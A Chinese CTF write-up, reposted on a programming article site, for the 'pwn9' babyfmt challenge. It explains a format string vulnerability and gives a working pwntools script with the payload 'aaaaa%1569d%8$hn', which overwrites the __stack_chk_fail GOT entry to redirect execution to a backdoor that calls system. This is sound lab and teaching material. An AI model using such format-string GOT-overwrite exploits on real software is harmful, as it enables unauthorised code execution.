欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

ctf论剑场 pwn9 write up

程序员文章站 2022-05-14 08:41:45
...

pwn9

0x00 文件分析

ctf论剑场 pwn9 write up看了下这个文件的位数和保护开启情况。由上图,我们可以知道,babyfmt是一个64位文件,而且开启了canary(栈溢出保护)和NX(堆栈不可执行)这两个保护。
ctf论剑场 pwn9 write up由ida反汇编之后,我们可以看到这里有一个格式化字符串漏洞printf,不懂格式化字符串漏洞的同学,可以参考下面的链接,这位大佬写的非常好
格式化字符串漏洞
列表还有一个hello函数中有system调用,是这个程序的后门。

0x01 溢出思路

通常来说,格式化字符串漏洞会有两次输入,第一次通过printf得到canary值,然后将其添加到第二次输入内(shellcode),避免函数返回时,检测到栈溢出。这题的程序里已经含有system函数了,也就是说如果能得到canary值,然后再第二次输入时加到shellcode内就能返回到system,获得shell。
但是这题你会发现这里只有一次输入。需要多次输入,可以通过修改fini_array的值来多次回到main函数内,进行多次输入。但是开启了canary保护,要通过溢出修改fini_array的值就要得到canary的值(而这个值在每次程序执行时都会变化),就陷入了尴尬的境地。
writeup
参考了这位大佬的writeup,明白了这题的思路:通过修改got表来实现返回到system。

0x02 writeup&&解析

from pwn import *
context.log_level = ‘debug’
p = process(’./babyfmt’)
elf = ELF(’./babyfmt’)
stack_chk_fail_got = elf.got[’__stack_chk_fail’]
#gdb.attach§
payload = ‘aaaaa%1569d%8$hn’ + p64(stack_chk_fail_got)
payload += ‘a’*0x60
p.sendline(payload)
p.interactive()

我们只有一次输入,那我们只要我们栈溢出必然不能安全返回,从而调用函数__stack_chk_fail报错并退出进程。只要我们想溢出,这个过程是必然的,那么我们只需要将__stack_chk_fail的got表地址改为后门函数hello的地址即可。由于第一次调用时,plt表向got表跳转后,got表中还未存储各个函数的真实地址,got表里存放的操作是跳向plt表的下一条指令。所以第一条调用__stack_chk_fail的操作是

main:
	call    ___stack_chk_fail (0x4004D0)
0x4004D0:  FF 25 42 0B 20 00    jmp     cs:off_601018(got 表)
0x601018:  0x4004D6

也就是说第一次执行动态库函数流程是这样的plt->got->plt,推荐看一下plt表和got表的关系:plt&&got
而程序后门(hello)的地址为0x400626,那么只要将got表的最低两位改为0626即可,

aaaaa%1569d%8$hn

所以这个字符串的意思是将十进制下(1569+5(5个a)) =16进制(0x0626)写入到__stack_chk_fail的低位两个字节,也就是说got表地址由0x4004D6变为0x400626,返回到了后门hello函数的位置,从而执行了system调用获得了shell。

欢迎交流指正。qq:1070657117